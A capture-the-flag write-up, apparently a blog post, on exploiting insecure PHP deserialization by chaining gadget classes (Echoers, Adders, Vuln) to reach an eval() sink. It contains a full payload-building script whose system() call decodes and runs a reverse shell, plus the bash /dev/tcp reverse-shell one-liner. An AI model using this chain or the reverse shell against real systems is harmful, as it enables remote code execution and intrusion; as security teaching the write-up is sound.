In this CTF, everyone has source code of vulnerable web application and infrastructure of its to inspect. Similar to IAST pentests.
Analyzing code
I have started this challenge from looking into and reviewing source code, on the screenshot you can see structure of the project:
We can see, that function unserialize()
is used -> more likely web application is vulnerable to Insecure Deserialization. Also we can notice "Gadget*
" directories, where we can find functions, which we could use for building our payload. A "Gadget
" is a piece of code that exists in the application which can help a malicious actor to achieve a particular goal.
A single “Gadget” may not directly do anything harmful using user input. However, the attacker’s goal might simply be to use a method that will pass input to another gadget. By chaining multiple gadgets together in this way, an attacker can potentially pass input into a dangerous “sink gadget”, where it can cause maximum damage.
Firstly, we need to identify “Gadget”, that can cause damage. There is list of object’s “magic” methods, that can executed in deserialization:
__wakeup
is called when an object is deserialized.__unserialize
is called instead of__wakeup
if it exists.__destruct
is called when PHP script end and object is destroyed.__toString
uses object as string ( also can be used to read file or more than that based on function call inside it.)
So lets dive into analyzing source code:
GadgetOne/Adders.php:
<?php
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
GadgetThree/Vuln.php
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
protected $waf2;
private $waf3;
public $cmd;
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
GadgetTwo/Echoers.php
<?php
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __destruct()
{
echo $this->klass->get_x();
}
}
}
These functions are loaded by “autoload.php” so we can use them during building our payload.
Constructing the payload
It is important to notice, when deserialization occurs, script which handle decerialization does not need any __constructor
s to deserialize objects.
Firstly, we should consider chain of gadgets for exploitation and how they will be connected with each other:
1) Vuln.__toString
: We can see the vulnerable function "eval()
" in class Vuln
,which have parameter value of $cmd
variable. Okay, it will be goal to to execute our command using "magic" function _toString
and have in the same moment command for execution in parameter $cmd
-> we will create the object Vuln(1,"\xde\xad\xbe\xef",false,"CODE TO EXECUTE")
2) Adders.get_x
: this function return value of $this->x
as string, so we can pass object Vuln
in variable x. So, we will pass previously created object Vuln(...)
as parameter to Adders($vuln_object)
3) Echoers.__destruct
: this "magic" will be executed after finishing the php script, which processes one request AND it will run this command:
..
echo $this->klass->get_x();
...
we see, that we should pass to the parameter $this->klass created object Adders($vuln_object
) -> Echoers($adders_object($vuln_object))
and this our final goal - to construct this chain of embedded objects
Let’s write simple PHP script using these gadgets(functions), that create for us serialized object + encode it to base64:
( BTW: I spend really lots of time debugging script, and finally I found lacking of namespaces before class declaration😂, but in the script below everything is fixed)
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
public $waf2;
public $waf3;
public $cmd;
function __construct($waf1, $waf2, $waf3, $waf4)
{
$this->waf1 = $waf1;
$this->waf2 = $waf2;
$this->waf3 = $waf3;
$this->cmd = $waf4;
}
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __construct($klass)
{
$this->klass = $klass;
}
function __destruct()
{
echo $this->klass->get_x();
}
}
}
namespace basic {
$vuln_object = new \GadgetThree\Vuln(1,"\xde\xad\xbe\xef",false,"system('echo BASE64_REV_SHELL | base64 -d | bash ');");
$adders_object = new \GadgetOne\Adders($vuln_object);
$echoers_object = new \GadgetTwo\Echoers($adders_object);
$sirealized_encoded_payload = base64_encode(serialize($echoers_object));
echo "\n\n";
echo $sirealized_encoded_payload;
echo "\n\n";
}
instead of BASE64_REV_SHELL
please you can pass any command, which base64 encoded
lets execute this script:
Exploiting vulnerability with payload
now, we constructed payload and lets use try it on our target but before that we should put correct base64 command insted of BASE64_REV_SHELL:
My favorite is:
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Let’s pass the payload and see if we don’t make any mistake during writting it:
it waits… Let’s check our listener:
Hooray! We solved it!
Thank you for your time! :)